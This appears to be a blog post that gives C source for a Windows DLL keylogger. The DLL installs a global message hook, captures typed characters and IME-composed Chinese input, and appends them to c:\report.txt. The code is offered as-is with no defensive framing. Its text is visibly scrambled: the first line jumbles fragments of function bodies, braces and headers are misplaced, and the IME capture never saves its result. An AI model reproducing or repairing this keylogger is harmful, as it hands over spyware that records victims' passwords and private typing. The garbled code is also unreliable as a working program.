#include "windows.h" HHOOK g_hHook = NULL; LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam) MSG* pmsg = (PMSG)lParam; switch (pmsg->message) SaveInfo(lpstr); } return(lResult); HOOK_API BOOL InstallHook() HOOK_API BOOL UnHook() } BOOL APIENTRY DllMain( HANDLE hModule, }
#include "imm.h"
#include "stdio.h"
#define HOOK_API __declspec(dllexport)
#pragma comment(lib, "IMM32.LIB")
HINSTANCE g_hHinstance = NULL;
BOOL bHooked = FALSE;
DWORD m_dwLastMsgTime = GetTickCount();
void SaveInfo(char buffer[]);
{
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
char strChar[2];
char KeyName[20];
//HWND hwa,hwf;
// 防止消息重复产生记录重复,以pMsg->time判断
if ((nCode != HC_ACTION) ||
((pmsg->message != WM_IME_COMPOSITION) && (pmsg->message != WM_CHAR)) ||
(m_dwLastMsgTime == pmsg->time))
{
return(lResult);
}
m_dwLastMsgTime = pmsg->time;
{
//
case WM_IME_COMPOSITION:
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
//
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
//MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
}
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
dwSize += sizeof(WCHAR);
ZeroMemory(lpstr,sizeof(lpstr));
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
ImmReleaseContext(hWnd, hIMC);
//delete szSave;
}
}
break;
case WM_CHAR:
{
if (pmsg->wParam <= 127 && pmsg->wParam >= 20)
{
strChar[0] = pmsg->wParam;
strChar[1] = '\0';
SaveInfo(strChar);
}
else if (pmsg->wParam == VK_RETURN)
{
SaveInfo("\r\n");
}
else
{
memset(KeyName, 0, sizeof(KeyName));
if (GetKeyNameText(pmsg->lParam, &(KeyName[1]), sizeof(KeyName) - 2) > 0)
{
KeyName[0] = '[';
lstrcat(KeyName, "]");
SaveInfo(KeyName);
}
}
break;
}
}
{
if(!bHooked)
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
bHooked = TRUE;
}
return TRUE;
}
{
if(bHooked)
{
bHooked = FALSE;
return UnhookWindowsHookEx(g_hHook);
}
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=(struct HINSTANCE__ *)hModule;
//InstallHook();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
}
void SaveInfo(char buffer[])
{
FILE* fpLog;
fpLog=fopen("c:\\report.txt","a+");
fwrite(buffer,strlen(buffer),1,fpLog);
fclose(fpLog);
标签: C/C++
Subscribe to:
Post Comments (Atom)
0 评论:
Post a Comment